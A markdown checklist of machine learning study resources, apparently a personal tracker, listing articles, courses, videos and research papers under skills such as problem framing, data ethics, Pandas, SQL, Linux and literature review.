- [X] [Youtube: Brandon Rohrer - Machine Learning in Production for Robots](https://www.youtube.com/watch?v=_Ot35PspXw4) `0:34:31`
- [X] [Youtube: [CVPR'21 WAD] Keynote - Andrej Karpathy, Tesla](https://youtu.be/g6bOwQdCJrc)
### Be able to frame an ML problem
- [X] [AWS: Types of Machine Learning Solutions](https://www.aws.training/learningobject/video?id=27224)
- [X] [Article: Apply Machine Learning to your Business](https://theaisummer.com/Machine-Learning-Business/)
- [X] [Article: Resilience and Vibrancy: The 2020 Data & AI Landscape](https://mattturck.com/data2020/)
- [X] [Article: Software 2.0](https://medium.com/@karpathy/software-2-0-a64152b37c35)
- [X] [Article: Highlights from ICML 2020](https://lewtun.github.io/blog/research/conference/2020/07/31/icml2020.html)
- [X] [Article: A Peek at Trends in Machine Learning](https://medium.com/@karpathy/a-peek-at-trends-in-machine-learning-ab8a1085a106)
- [X] [Article: How to deliver on Machine Learning projects](https://mlpowered.com/posts/how-to-deliver-on-machine-learning-projects/)
- [X] [Article: Data Science as a Product](https://blog.picnic.nl/data-science-as-a-product-f383dead5aa4)
- [X] [Article: Customer service is full of machine learning problems](http://nlathia.github.io/2020/06/Customer-service-machine-learning.html)
- [X] [Article: Choosing Problems in Data Science and Machine Learning](https://eugeneyan.com/writing/how-to-choose-problems/)
- [X] [Article: Why finance is deploying natural language processing](https://mitsloan.mit.edu/ideas-made-to-matter/why-finance-deploying-natural-language-processing)
- [X] [Article: The Last 5 Years In Deep Learning](https://adeshpande3.github.io/adeshpande3.github.io/The-Last-5-Years-in-Deep-Learning)
- [X] [Article: Always start with a stupid model, no exceptions.](https://mlpowered.com/posts/start-with-a-stupid-model/)
- [X] [Article: Most impactful AI trends of 2018: the rise of ML Engineering](https://mlpowered.com/posts/2019-ml-trends/)
- [X] [Article: Building machine learning products: a problem well-defined is a problem half-solved.](https://www.jeremyjordan.me/ml-requirements/)
- [X] [Article: Simple considerations for simple people building fancy neural networks](https://medium.com/huggingface/simple-considerations-for-simple-people-building-fancy-neural-networks-7abc3c0f0bd7)
- [X] [Article: Maximizing Business Impact with Machine Learning](https://mlinproduction.com/maximizing-business-impact-with-machine-learning/)
- [X] [Book: AI Superpowers: China, Silicon Valley, and the New World Order](https://www.amazon.com/AI-Superpowers-China-Silicon-Valley/dp/132854639X)
- [X] [Book: A Human's Guide to Machine Intelligence](https://www.amazon.com/Humans-Guide-Machine-Intelligence-Algorithms/dp/0525560882)
- [X] [Book: The Future Computed](https://news.microsoft.com/uploads/2018/01/The-Future-Computed.pdf)
- [X] [Book: Machine Learning Yearning by Andrew Ng](http://www.mlyearning.org/)
- [X] [Book: Prediction Machines: The Simple Economics of Artificial Intelligence](https://www.amazon.com/Prediction-Machines-Economics-Artificial-Intelligence/dp/1633695670)
- [X] [Book: Building Machine Learning Powered Applications: Going from Idea to Product](https://www.amazon.com/Building-Machine-Learning-Powered-Applications/dp/149204511X/)
- [X] [Coursera: AI For Everyone](https://www.coursera.org/learn/ai-for-everyone)
- [X] [Datacamp: Data Science for Everyone](https://www.datacamp.com/courses/data-science-for-everyone)
- [X] [Datacamp: Machine Learning with the Experts: School Budgets](https://www.datacamp.com/courses/machine-learning-with-the-experts-school-budgets)
- [X] [Datacamp: Machine Learning for Everyone](https://www.datacamp.com/courses/machine-learning-for-everyone)
- [X] [Datacamp: Data Science for Managers](https://www.datacamp.com/courses/data-science-for-managers)
- [X] [Facebook: Field Guide to Machine Learning](https://research.fb.com/the-facebook-field-guide-to-machine-learning-video-series/)
- [X] [Google: Introduction to Machine Learning Problem Framing](https://developers.google.com/machine-learning/problem-framing)
- [X] [Pluralsight: How to Think About Machine Learning Algorithms](https://www.pluralsight.com/courses/machine-learning-algorithms)
- [X] [State of AI Report 2020](https://docs.google.com/presentation/d/1ZUimafgXCBSLsgbacd6-a-dqO7yLyzIl1ZJbiCBUUT4/edit#slide=id.g557254d430_0_0)
- [X] [Youtube: Vincent Warmerdam: The profession of solving (the wrong problem) | PyData Amsterdam 2019](https://youtu.be/kYMfE9u-lMo)
- [X] [Youtube: Hugging Face, Transformers | NLP Research and Open Source | Interview with Julien Chaumond](https://www.youtube.com/watch?v=ejWkDviM5QM)
- [X] [Youtube: Vincent Warmerdam - Playing by the Rules-Based-Systems | PyData Eindhoven 2020](https://www.youtube.com/watch?v=nJAmN6gWdK8&ab_channel=PyData)
- [X] [Youtube: Building intuitions before building models](https://youtu.be/xNGI0B_Sn1E?list=LL)
- [X] [Youtube: Recent Breakthroughs in AI with Andrej Karpathy and Lex Fridman](https://www.youtube.com/watch?v=Xl0xAJJqPfY)
### Be familiar with data ethics
- [X] [Article: How to Detect Bias in AI](https://www.maartengrootendorst.com/blog/bias/)
- [X] [Netflix: Coded Bias](https://www.netflix.com/np/title/81328723)
- [X] [Netflix: The Great Hack](https://www.netflix.com/np/title/80117542)
- [X] [Netflix: The Social Dilemma](https://www.netflix.com/np/title/81254224)
- [ ] [Practical Data Ethics](http://ethics.fast.ai/)
- [X] [Lesson 1: Disinformation](https://www.youtube.com/watch?v=eFjk79ykWZk)
- [ ] [Lesson 2: Bias & Fairness](https://www.youtube.com/watch?v=mG-cTS3fnnw)
- [ ] [Lesson 3: Ethical Foundations & Practical Tools](https://youtu.be/s0s5A4xK0xQ)
- [ ] [Lesson 4: Privacy and surveillance](https://youtu.be/79_rwZhewbQ)
- [ ] [Lesson 4 continued: Privacy and surveillance](https://youtu.be/HwfeDeqbmsI)
- [ ] [Lesson 5.1: The problem with metrics](https://youtu.be/US42H1znvKU)
- [ ] [Lesson 5.2: Our Ecosystem, Venture Capital, & Hypergrowth](https://youtu.be/TKYr4sS1SFw)
- [ ] [Lesson 5.3: Losing the Forest for the Trees, guest lecture by Ali Alkhatib](https://youtu.be/upU-_ECq80Y)
- [ ] [Lesson 6: Algorithmic Colonialism, and Next Steps](https://youtu.be/Nzvoc7aaEzw)
- [ ] [Youtube: Lecture 9: Ethics (Full Stack Deep Learning - Spring 2021)](https://www.youtube.com/watch?v=AoYD4eB3Vo4) `1:04:50`
- [ ] [Youtube: SE4AI: Ethics and Fairness](https://www.youtube.com/watch?v=0wCJKw3-siY) `1:18:37`
- [ ] [Youtube: SE4AI: Security](https://www.youtube.com/watch?v=5ZdrNYvTmq8) `1:18:24`
- [ ] [Youtube: SE4AI: Safety](https://www.youtube.com/watch?v=xRlFDXV3-8E) `1:17:37`
### Be able to import data from multiple sources
- [X] [Docs: Beautiful Soup Documentation](https://www.crummy.com/software/BeautifulSoup/bs4/doc/)
- [X] [Datacamp: Importing Data in Python (Part 2)](https://www.datacamp.com/courses/importing-data-in-python-part-2)
- [ ] [Datacamp: Web Scraping in Python](https://www.datacamp.com/courses/web-scraping-with-python)
### Be able to setup data annotation efficiently
- [X] [Article: Create A Synthetic Image Dataset — The “What”, The “Why” and The “How”](https://towardsdatascience.com/create-a-synthetic-image-dataset-the-what-the-why-and-the-how-f820e6b6f718)
- [X] [Article: We need Synthetic Data](https://towardsdatascience.com/we-need-synthetic-data-e6f90a8532a4)
- [X] [Article: Weak Supervision for Online Discussions](https://trishalaneeraj.github.io/2020-07-05/weak-supervision)
- [X] [Article: ML Infrastructure Tools for Data Preparation](https://towardsdatascience.com/ml-infrastructure-tools-for-data-preparation-70d79e70f8d4)
- [X] [Article: Exploring the Role of Human Raters in Creating NLP Datasets](https://medium.com/jigsaw/creating-labeled-datasets-and-exploring-the-role-of-human-raters-56367b6db298)
- [X] [Article: Inter-Annotator Agreement (IAA)](https://towardsdatascience.com/inter-annotator-agreement-2f46c6d37bf3)
- [X] [Article: How to compute inter-rater reliability metrics (Cohen’s Kappa, Fleiss’s Kappa, Cronbach Alpha, Krippendorff Alpha, Scott’s Pi, Inter-class correlation) in Python](https://learnaitech.com/how-to-compute-inter-rater-reliablity-metrics-cohens-kappa-fleisss-kappa-cronbach-alpha-kripndorff-alpha-scotts-pi-inter-class-correlation-in-python/)
- [X] [Article: The Pitfalls of Inter-Rater Reliability in Data Labeling and Machine Learning](https://www.surgehq.ai/blog/the-pitfalls-of-inter-rater-reliability-in-data-labeling-and-machine-learning)
- [X] [Youtube: Snorkel: Dark Data and Machine Learning - Christopher Ré](https://www.youtube.com/watch?v=yu15Nf5eJEE)
- [X] [Youtube: Training a NER Model with Prodigy and Transfer Learning](https://youtu.be/59BKHO_xBPA)
- [X] [Youtube: Training a New Entity Type with Prodigy – annotation powered by active learning](https://youtu.be/l4scwf8KeIA)
- [X] [Youtube: ECCV 2020 WSL tutorial: 4. Human-in-the-loop annotations](https://youtu.be/PCwpO3mLhZk?list=PLcD_yLvcdUll95mAnBDV0rZKhfClJMZMr)
- [X] [Youtube: Active Learning: Why Smart Labeling is the Future of Data Annotation | Alectio](https://youtu.be/V33Ut36eUsY?list=LL)
- [X] [Youtube: Lecture 8: Data Management (Full Stack Deep Learning - Spring 2021)](https://www.youtube.com/watch?v=QlPiiyd8zQI) `0:59:42`
- [X] [Youtube: Lab 6: Data Labeling (Full Stack Deep Learning - Spring 2021)](https://www.youtube.com/watch?v=iFvk9cGbIZ4) `0:05:06`
- [X] [Youtube: Lecture 6: Data Management](https://youtu.be/T5jv8-xZhZI)
- [X] [Youtube: SE4AI: Data Quality](https://www.youtube.com/watch?v=60lBFv9tyWk) `1:07:15`
- [X] [Youtube: SE4AI: Data Programming and Intro to Big Data Processing](https://www.youtube.com/watch?v=6e6aI4yjAxc) `0:33:04`
- [X] [Youtube: SE4AI: Managing and Processing Large Datasets](https://www.youtube.com/watch?v=iPmQ5ezQNPY) `1:21:27`
### Be able to manipulate data with Numpy
- [X] [Article: A Visual Intro to NumPy and Data Representation](https://jalammar.github.io/visual-numpy/)
- [X] [Article: Good practices with numpy random number generators](https://albertcthomas.github.io/good-practices-random-number-generators/)
- [ ] [Article: NumPy Illustrated: The Visual Guide to NumPy](https://medium.com/better-programming/numpy-illustrated-the-visual-guide-to-numpy-3b1d4976de1d)
- [X] [Article: NumPy Fundamentals for Data Science and Machine Learning](https://pabloinsente.github.io/intro-numpy-fundamentals)
- [X] [Datacamp: Intro to Python for Data Science](https://www.datacamp.com/courses/intro-to-python-for-data-science)
- [X] [Pluralsight: Working with Multidimensional Data Using NumPy](https://www.pluralsight.com/courses/numpy-working-with-multidimensional-data)
### Be able to manipulate data with Pandas
- [X] [Article: Visualizing Pandas' Pivoting and Reshaping Functions](https://jalammar.github.io/visualizing-pandas-pivoting-and-reshaping/)
- [X] [Article: A Gentle Visual Intro to Data Analysis in Python Using Pandas](https://jalammar.github.io/gentle-visual-intro-to-data-analysis-python-pandas/)
- [X] [Article: Comprehensive Guide to Grouping and Aggregating with Pandas](https://pbpython.com/groupby-agg.html)
- [X] [Article: 8 Python Pandas Value_counts() tricks that make your work more efficient](https://re-thought.com/pandas-value_counts/)
- [X] [Datacamp: pandas Foundations](https://www.datacamp.com/courses/pandas-foundations)
- [X] [Datacamp: Pandas Joins for Spreadsheet Users](https://www.datacamp.com/courses/pandas-joins-for-spreadsheet-users)
- [X] [Datacamp: Manipulating DataFrames with pandas](https://www.datacamp.com/courses/manipulating-dataframes-with-pandas)
- [X] [Datacamp: Merging DataFrames with pandas](https://www.datacamp.com/courses/merging-dataframes-with-pandas)
- [X] [Datacamp: Data Manipulation with pandas](https://www.datacamp.com/courses/data-manipulation-with-pandas)
- [X] [Datacamp: Optimizing Python Code with pandas](https://www.datacamp.com/courses/optimizing-python-code-with-pandas)
- [X] [Datacamp: Streamlined Data Ingestion with pandas](https://www.datacamp.com/courses/streamlined-data-ingestion-with-pandas)
- [X] [Datacamp: Analyzing Marketing Campaigns with pandas](https://www.datacamp.com/courses/analyzing-marketing-campaigns-with-pandas)
- [X] [edX: Implementing Predictive Analytics with Spark in Azure HDInsight](https://www.edx.org/course/implementing-predictive-analytics-spark-microsoft-dat202-3x-2)
- [X] [Article: Modern Pandas](https://tomaugspurger.github.io)
- [X] [Modern Pandas (Part 1)](https://tomaugspurger.github.io/modern-1-intro.html)
- [X] [Modern Pandas (Part 2)](https://tomaugspurger.github.io/method-chaining.html)
- [X] [Modern Pandas (Part 3)](https://tomaugspurger.github.io/modern-3-indexes.html)
- [X] [Modern Pandas (Part 4)](https://tomaugspurger.github.io/modern-4-performance.html)
- [X] [Modern Pandas (Part 5)](https://tomaugspurger.github.io/modern-5-tidy.html)
- [X] [Modern Pandas (Part 6)](https://tomaugspurger.github.io/modern-6-visualization.html)
- [X] [Modern Pandas (Part 7)](https://tomaugspurger.github.io/modern-7-timeseries.html)
- [X] [Modern Pandas (Part 8)](https://tomaugspurger.github.io/modern-8-scaling.html)
### Be able to manipulate data in spreadsheets
- [X] [Datacamp: Spreadsheet basics](https://www.datacamp.com/courses/spreadsheet-basics)
- [ ] [Datacamp: Data Analysis with Spreadsheets](https://www.datacamp.com/courses/data-analysis-with-spreadsheets)
- [ ] [Datacamp: Intermediate Spreadsheets for Data Science](https://www.datacamp.com/courses/intermediate-spreadsheets-for-data-science)
- [ ] [Datacamp: Pivot Tables with Spreadsheets](https://www.datacamp.com/courses/pivot-tables-with-spreadsheets)
- [ ] [Datacamp: Data Visualization in Spreadsheets](https://www.datacamp.com/courses/data-visualization-in-spreadsheets)
- [ ] [Datacamp: Introduction to Statistics in Spreadsheets](https://www.datacamp.com/courses/statistics-in-spreadsheets)
- [ ] [Datacamp: Conditional Formatting in Spreadsheets](https://www.datacamp.com/courses/conditional-formatting-in-spreadsheets)
- [ ] [Datacamp: Marketing Analytics in Spreadsheets](https://www.datacamp.com/courses/marketing-analytics-in-spreadsheets)
- [ ] [Datacamp: Error and Uncertainty in Spreadsheets](https://www.datacamp.com/courses/error-and-uncertainty-in-spreadsheets)
- [X] [edX: Analyzing and Visualizing Data with Excel](https://www.edx.org/course/analyzing-visualizing-data-excel-microsoft-dat206x-7)
### Be able to manipulate data in databases
- [X] [Codecademy: SQL Track](https://www.codecademy.com/courses/learn-sql)
- [X] [Datacamp: Intro to SQL for Data Science](https://www.datacamp.com/courses/intro-to-sql-for-data-science)
- [ ] [Datacamp: Introduction to MongoDB in Python](https://www.datacamp.com/courses/introduction-to-using-mongodb-for-data-science-with-python)
- [ ] [Datacamp: Intermediate SQL](https://www.datacamp.com/courses/intermediate-sql)
- [ ] [Datacamp: Exploratory Data Analysis in SQL](https://www.datacamp.com/courses/sql-for-exploratory-data-analysis)
- [ ] [Datacamp: Joining Data in PostgreSQL](https://www.datacamp.com/courses/joining-data-in-postgresql)
- [X] [Datacamp: Querying with TransactSQL](https://www.datacamp.com/courses/querying-with-transact-sql)
- [ ] [Datacamp: Introduction to Databases in Python](https://www.datacamp.com/courses/introduction-to-relational-databases-in-python)
- [ ] [Datacamp: Reporting in SQL](https://www.datacamp.com/courses/reporting-in-sql)
- [ ] [Datacamp: Applying SQL to Real-World Problems](https://www.datacamp.com/courses/applying-sql-to-real-world-problems)
- [ ] [Datacamp: Analyzing Business Data in SQL](https://www.datacamp.com/courses/analyzing-business-data-in-sql)
- [ ] [Datacamp: Data-Driven Decision Making in SQL](https://www.datacamp.com/courses/data-driven-decision-making-with-sql)
- [ ] [Datacamp: Database Design](https://www.datacamp.com/courses/database-design)
- [ ] [Udacity: SQL for Data Analysis](https://www.udacity.com/course/sql-for-data-analysis--ud198)
- [X] [Udacity: Intro to relational database](https://www.udacity.com/course/intro-to-relational-databases--ud197)
- [ ] [Udacity: Database Systems Concepts & Design](https://www.udacity.com/course/database-systems-concepts-design--ud150)
### Be able to use Linux
- [X] [Article: Streamline your projects using Makefile](https://dev.to/yankee/streamline-projects-using-makefile-28fe)
- [X] [Article: Understand Linux Load Averages and Monitor Performance of Linux](https://www.tecmint.com/understand-linux-load-averages-and-monitor-performance/)
- [X] [Article: Command-line Tools can be 235x Faster than your Hadoop Cluster](https://adamdrake.com/command-line-tools-can-be-235x-faster-than-your-hadoop-cluster.html)
- [X] [Calmcode: makefiles](https://calmcode.io/makefiles/the-problem.html)
- [X] [Calmcode: entr](https://calmcode.io/entr/introduction.html)
- [X] [Codecademy: Learn the Command Line](https://www.codecademy.com/learn/learn-the-command-line)
- [X] [Datacamp: Introduction to Shell for Data Science](https://www.datacamp.com/courses/introduction-to-shell-for-data-science)
- [X] [Datacamp: Introduction to Bash Scripting](https://www.datacamp.com/courses/introduction-to-bash-scripting)
- [X] [Datacamp: Data Processing in Shell](https://www.datacamp.com/courses/data-processing-in-shell)
- [ ] [MIT: The Missing Semester of CS Education](https://www.youtube.com/playlist?list=PLyzOVJj3bHQuloKGG59rS43e29ro7I57J)
- [X] [Lecture 1: Course Overview + The Shell (2020)](https://www.youtube.com/watch?v=Z56Jmr9Z34Q) `0:48:16`
- [ ] [Lecture 2: Shell Tools and Scripting (2020)](https://www.youtube.com/watch?v=kgII-YWo3Zw) `0:48:55`
- [ ] [Lecture 3: Editors (vim) (2020)](https://www.youtube.com/watch?v=a6Q8Na575qc) `0:48:26`
- [ ] [Lecture 4: Data Wrangling (2020)](https://www.youtube.com/watch?v=sz_dsktIjt4) `0:50:03`
- [ ] [Lecture 5: Command-line Environment (2020)](https://www.youtube.com/watch?v=e8BO_dYxk5c) `0:56:06`
- [ ] [Lecture 6: Version Control (git) (2020)](https://www.youtube.com/watch?v=2sjqTHE0zok) `1:24:59`
- [ ] [Lecture 7: Debugging and Profiling (2020)](https://www.youtube.com/watch?v=l812pUnKxME) `0:54:13`
- [ ] [Lecture 8: Metaprogramming (2020)](https://www.youtube.com/watch?v=_Ms1Z4xfqv4) `0:49:52`
- [ ] [Lecture 9: Security and Cryptography (2020)](https://www.youtube.com/watch?v=tjwobAmnKTo) `1:00:59`
- [ ] [Lecture 10: Potpourri (2020)](https://www.youtube.com/watch?v=JZDt-PRq0uo) `0:57:54`
- [ ] [Lecture 11: Q&A (2020)](https://www.youtube.com/watch?v=Wz50FvGG6xU) `0:53:52`
- [ ] [Thoughtbot: Mastering the Shell](https://thoughtbot.com/upcase/mastering-the-shell)
- [ ] [Thoughtbot: tmux](https://thoughtbot.com/upcase/tmux)
- [X] [Udacity: Linux Command Line Basics](https://www.udacity.com/course/linux-command-line-basics--ud595)
- [X] [Udacity: Shell Workshop](https://www.udacity.com/course/shell-workshop--ud206)
- [X] [Udacity: Configuring Linux Web Servers](https://www.udacity.com/course/configuring-linux-web-servers--ud299)
- [ ] [Web Bos: Command Line Power User](https://www.youtube.com/watch?v=DP218aBHm1Q&list=PLu8EoSxDXHP7tXPJp5ZmUpuT7sFvrswzf&index=2)
- [ ] [Youtube: GNU Parallel](https://www.youtube.com/playlist?list=PL284C9FF2488BC6D1)
### Be able to perform feature selection and engineering
- [X] [Article: Tips for Advanced Feature Engineering](https://www.maartengrootendorst.com/blog/feature-engineering/)
- [ ] [Article: Preparing data for a machine learning model](https://www.jeremyjordan.me/preparing-data-for-a-machine-learning-model/)
- [ ] [Article: Feature selection for a machine learning model](https://www.jeremyjordan.me/feature-selection/)
- [ ] [Article: Learning from imbalanced data](https://www.jeremyjordan.me/imbalanced-data/)
- [ ] [Article: Hacker's Guide to Data Preparation for Machine Learning](https://www.curiousily.com/posts/hackers-guide-to-data-preparation-for-machine-learning/)
- [ ] [Article: Practical Guide to Handling Imbalanced Datasets](https://www.curiousily.com/posts/practical-guide-to-handling-imbalanced-datasets/)
- [ ] [Datacamp: Analyzing Social Media Data in Python](https://www.datacamp.com/courses/analyzing-social-media-data-in-python)
- [X] [Datacamp: Dimensionality Reduction in Python](https://www.datacamp.com/courses/dimensionality-reduction-in-python)
- [X] [Datacamp: Preprocessing for Machine Learning in Python](https://www.datacamp.com/courses/preprocessing-for-machine-learning-in-python)
- [X] [Datacamp: Data Types for Data Science](https://www.datacamp.com/courses/data-types-for-data-science)
- [X] [Datacamp: Cleaning Data in Python](https://www.datacamp.com/courses/cleaning-data-in-python)
- [X] [Datacamp: Feature Engineering for Machine Learning in Python](https://www.datacamp.com/courses/feature-engineering-for-machine-learning-in-python)
- [ ] [Datacamp: Importing & Managing Financial Data in Python](https://www.datacamp.com/courses/importing-managing-financial-data-in-python)
- [ ] [Datacamp: Manipulating Time Series Data in Python](https://www.datacamp.com/courses/manipulating-time-series-data-in-python)
- [ ] [Datacamp: Working with Geospatial Data in Python](https://www.datacamp.com/courses/working-with-geospatial-data-in-python)
- [ ] [Datacamp: Analyzing IoT Data in Python](https://www.datacamp.com/courses/analyzing-iot-data-in-python)
- [ ] [Datacamp: Dealing with Missing Data in Python](https://www.datacamp.com/courses/dealing-with-missing-data-in-python)
- [ ] [Datacamp: Exploratory Data Analysis in Python](https://www.datacamp.com/courses/exploratory-data-analysis-in-python)
- [X] [edX: Data Science Essentials](https://www.edx.org/course/data-science-essentials-microsoft-dat203-1x-5)
- [ ] [Udacity: Creating an Analytical Dataset](https://www.udacity.com/course/creating-an-analytical-dataset--ud977)
- [X] [Youtube: Applied ML 2020 - 04 - Preprocessing](https://www.youtube.com/watch?v=XpOBSaktb6s) `1:07:40`
- [X] [Youtube: Applied ML 2020 - 11 - Model Inspection and Feature Selection](https://www.youtube.com/watch?v=FDhyS6Xjxa8) `1:15:15`
### Be able to experiment in a notebook
- [X] [Article: Securely storing configuration credentials in a Jupyter Notebook](http://veekaybee.github.io/2020/02/25/secrets/)
- [X] [Article: Automatically Reload Modules with %autoreload](https://switowski.com/blog/ipython-autoreload)
- [ ] [Calmcode: ipywidgets](https://calmcode.io/ipywidgets/introduction.html)
- [X] [Documentation: Jupyter Lab](https://jupyterlab.readthedocs.io/en/stable/getting_started/overview.html)
- [X] [Pluralsight: Getting Started with Jupyter Notebook and Python](https://www.pluralsight.com/courses/jupyter-notebook-python)
- [X] [Youtube: William Horton - A Brief History of Jupyter Notebooks](https://www.youtube.com/watch?v=kFhhCOeYcGw)
- [X] [Youtube: I Like Notebooks](https://www.youtube.com/watch?v=9Q6sLbz37gk)
- [X] [Youtube: I don't like notebooks.- Joel Grus (Allen Institute for Artificial Intelligence)](https://www.youtube.com/watch?v=7jiPeIFXb6U)
- [X] [Youtube: Ryan Herr - After model.fit, before you deploy| JupyterCon 2020](https://www.youtube.com/watch?v=hGHwu1h3l6g)
- [X] [Youtube: nbdev live coding with Hamel Husain](https://www.youtube.com/watch?v=ZJTop5uqC2U&feature=youtu.be)
- [X] [Youtube: How to Use JupyterLab](https://www.youtube.com/watch?v=A5YyoCKxEOU&feature=emb_logo)
### Be able to visualize data
- [X] [Article: Creating a Catchier Word Cloud Presentation](https://towardsdatascience.com/creating-a-catchier-word-cloud-presentation-e17fa2c1ef46)
- [X] [Article: Effectively Using Matplotlib](https://pbpython.com/effective-matplotlib.html)
- [ ] [Article: Which color scale to use when visualizing data](https://blog.datawrapper.de/which-color-scale-to-use-in-data-vis/)
- [ ] [Datacamp: Introduction to Data Visualization with Python](https://www.datacamp.com/courses/introduction-to-data-visualization-with-python)
- [X] [Datacamp: Introduction to Seaborn](https://www.datacamp.com/courses/introduction-to-seaborn)
- [X] [Datacamp: Introduction to Matplotlib](https://www.datacamp.com/courses/introduction-to-matplotlib)
- [ ] [Datacamp: Intermediate Data Visualization with Seaborn](https://www.datacamp.com/courses/data-visualization-with-seaborn)
- [ ] [Datacamp: Visualizing Time Series Data in Python](https://www.datacamp.com/courses/visualizing-time-series-data-in-python)
- [ ] [Datacamp: Improving Your Data Visualizations in Python](https://www.datacamp.com/courses/improving-your-data-visualizations-in-python)
- [ ] [Datacamp: Visualizing Geospatial Data in Python](https://www.datacamp.com/courses/visualizing-geospatial-data-in-python)
- [ ] [Datacamp: Interactive Data Visualization with Bokeh](https://www.datacamp.com/courses/interactive-data-visualization-with-bokeh)
- [X] [Youtube: Applied ML 2020 - 02 Visualization and matplotlib](https://www.youtube.com/watch?v=OW3oco7nlV4) `1:07:30`
### Be able to do literature review using research papers
- [X] [Paper: A Neural Probabilistic Language Model](http://www.jmlr.org/papers/volume3/bengio03a/bengio03a.pdf)
- [ ] [Paper: Efficient Estimation of Word Representations in Vector Space](https://arxiv.org/pdf/1301.3781.pdf)
- [X] [Paper: Sequence to Sequence Learning with Neural Networks](https://papers.nips.cc/paper/5346-sequence-to-sequence-learning-with-neural-networks.pdf)
- [X] [Paper: Neural Machine Translation by Jointly Learning to Align and Translate](https://arxiv.org/abs/1409.0473)
- [X] [Paper: Attention Is All You Need](https://arxiv.org/abs/1706.03762)
- [X] [Paper: BERT: Pre-training of Deep Bidirectional Transformers for Language Understanding](https://arxiv.org/abs/1810.04805)
- [X] [Paper: XLNet: Generalized Autoregressive Pretraining for Language Understanding](https://arxiv.org/abs/1906.08237)
- [X] [Paper: Synonyms Based Term Weighting Scheme: An Extension to TF.IDF](https://www.researchgate.net/publication/306362767_Synonyms_Based_Term_Weighting_Scheme_An_Extension_to_TFIDF)
- [ ] [Paper: RoBERTa: A Robustly Optimized BERT Pretraining Approach](https://arxiv.org/abs/1907.11692)
- [ ] [Paper: GLUE: A Multi-Task Benchmark and Analysis Platform for Natural Language Understanding](https://www.nyu.edu/projects/bowman/glue.pdf)
- [X] [Paper: Amazon.com Recommendations Item-to-Item Collaborative Filtering](https://www.cs.umd.edu/~samir/498/Amazon-Recommendations.pdf)
- [X] [Paper: Collaborative Filtering for Implicit Feedback Datasets](http://citeseerx.ist.psu.edu/viewdoc/download;jsessionid=34AEEE06F0C2428083376C26C71D7CFF?doi=10.1.1.167.5120&rep=rep1&type=pdf)
- [ ] [Paper: BPR: Bayesian Personalized Ranking from Implicit Feedback](https://arxiv.org/pdf/1205.2618.pdf)
- [X] [Paper: Factorization Machines](https://cseweb.ucsd.edu/classes/fa17/cse291-b/reading/Rendle2010FM.pdf)
- [X] [Paper: Wide & Deep Learning for Recommender Systems](https://arxiv.org/pdf/1606.07792.pdf)
- [X] [Paper: Neural Factorization Machines for Sparse Predictive Analytics](https://l.facebook.com/l.php?u=https%3A%2F%2Farxiv.org%2Fpdf%2F1708.05027.pdf&h=AT3VuDk1rSqAkgo1x79wl9FXtb7SFMT01B1MXLMvp0O8syX2BuHYB70EJkMwVngQtShj0yTTn6laoRQ3I7StkJQJ9j1b8DiHM7gXNv7dWvL9S_khSF4wWZA9No70BhewiggJ8a8Pa0jTnq4_ppOIsk-qDYVkyJM5QuoSSg)
- [X] [Paper: Multiword Expressions: A Pain in the Neck for NLP](http://lingo.stanford.edu/pubs/WP-2001-03.pdf)
- [X] [Paper: PyTorch: An Imperative Style, High-Performance Deep Learning Library](https://arxiv.org/pdf/1912.01703.pdf)
- [X] [Paper: ALBERT: A LITE BERT FOR SELF-SUPERVISED LEARNING OF LANGUAGE REPRESENTATIONS](https://arxiv.org/pdf/1909.11942.pdf)
- [X] [Paper: Self-supervised Visual Feature Learning with Deep Neural Networks: A Survey](https://arxiv.org/abs/1902.06162)
- [X] [Paper: A Simple Framework for Contrastive Learning of Visual Representations](https://arxiv.org/pdf/2002.05709.pdf)
- [X] [Paper: Self-Supervised Learning of Pretext-Invariant Representations](https://arxiv.org/abs/1912.01991)
- [X] [Paper: FixMatch: Simplifying Semi-Supervised Learning with Consistency and Confidence](https://arxiv.org/abs/2001.07685)
- [X] [Paper: Self-Labelling via Simultalaneous Clustering and Representation Learning](https://www.robots.ox.ac.uk/~vgg/research/self-label/)
- [X] [Paper: A survey on Semi-, Self- and Unsupervised Techniques in Image Classification](https://arxiv.org/abs/2002.08721)
- [X] [Paper: Multi-document Summarization by using TextRank and Maximal Marginal Relevance for Text in Bahasa Indonesia](https://www.researchgate.net/publication/338940065_Multi-document_Summarization_by_using_TextRank_and_Maximal_Marginal_Relevance_for_Text_in_Bahasa_Indonesia)
- [X] [Paper: Train Once, Test Anywhere: Zero-Shot Learning for Text Classification](https://arxiv.org/abs/1712.05972)
- [X] [Paper: Zero-shot Text Classification With Generative Language Models](https://arxiv.org/abs/1912.10165)
- [X] [Paper: How to Fine-Tune BERT for Text Classification?](https://arxiv.org/abs/1905.05583)
- [X] [Paper: Universal Sentence Encoder](https://arxiv.org/abs/1803.11175)
- [X] [Paper: Enriching Word Vectors with Subword Information](https://arxiv.org/abs/1607.04606)
- [X] [Paper: Beyond Accuracy: Behavioral Testing of NLP models with CheckList](https://arxiv.org/abs/2005.04118)
- [X] [Paper: Pseudo-Label : The Simple and Efficient Semi-Supervised Learning Method for Deep Neural Networks](http://deeplearning.net/wp-content/uploads/2013/03/pseudo_label_final.pdf)
- [X] [Paper: Temporal Ensembling for Semi-Supervised Learning](https://arxiv.org/abs/1610.02242)
- [X] [Paper: Boosting Self-Supervised Learning via Knowledge Transfer](https://arxiv.org/abs/1805.00385)
- [X] [Paper: Follow-up Question Generation](https://essay.utwente.nl/79491/1/Mandasari_MA_EEMCS.pdf)
- [X] [Paper: The Hardware Lottery](https://arxiv.org/abs/2009.06489)
- [X] [Paper: Question Generation via Overgenerating Transformations and Ranking](http://www.cs.cmu.edu/~mheilman/papers/heilman-smith-qg-tech-report.pdf)
- [X] [Paper: Good Question! Statistical Ranking for Question Generation](https://www.aclweb.org/anthology/N10-1086.pdf)
- [ ] [Paper: Towards ML Engineering: A Brief History Of TensorFlow Extended (TFX)](https://arxiv.org/pdf/2010.02013v2.pdf)
- [X] [Paper: Neural Text Generation: A Practical Guide](https://cs.stanford.edu/~zxie/textgen.pdf)
- [ ] [Paper: Pest Management In Cotton Farms: An AI-System Case Study from the Global South](https://dl.acm.org/doi/10.1145/3394486.3403363)
- [ ] [Paper: BERT2DNN: BERT Distillation with Massive Unlabeled Data for Online E-Commerce Search](https://arxiv.org/abs/2010.10442)
- [ ] [Paper: On the surprising similarities between supervised and self-supervised models](https://arxiv.org/abs/2010.08377)
- [X] [Paper: All-but-the-Top: Simple and Effective Postprocessing for Word Representations](https://arxiv.org/abs/1702.01417)
- [X] [Paper: Simple and Effective Dimensionality Reduction for Word Embeddings](https://arxiv.org/abs/1708.03629)
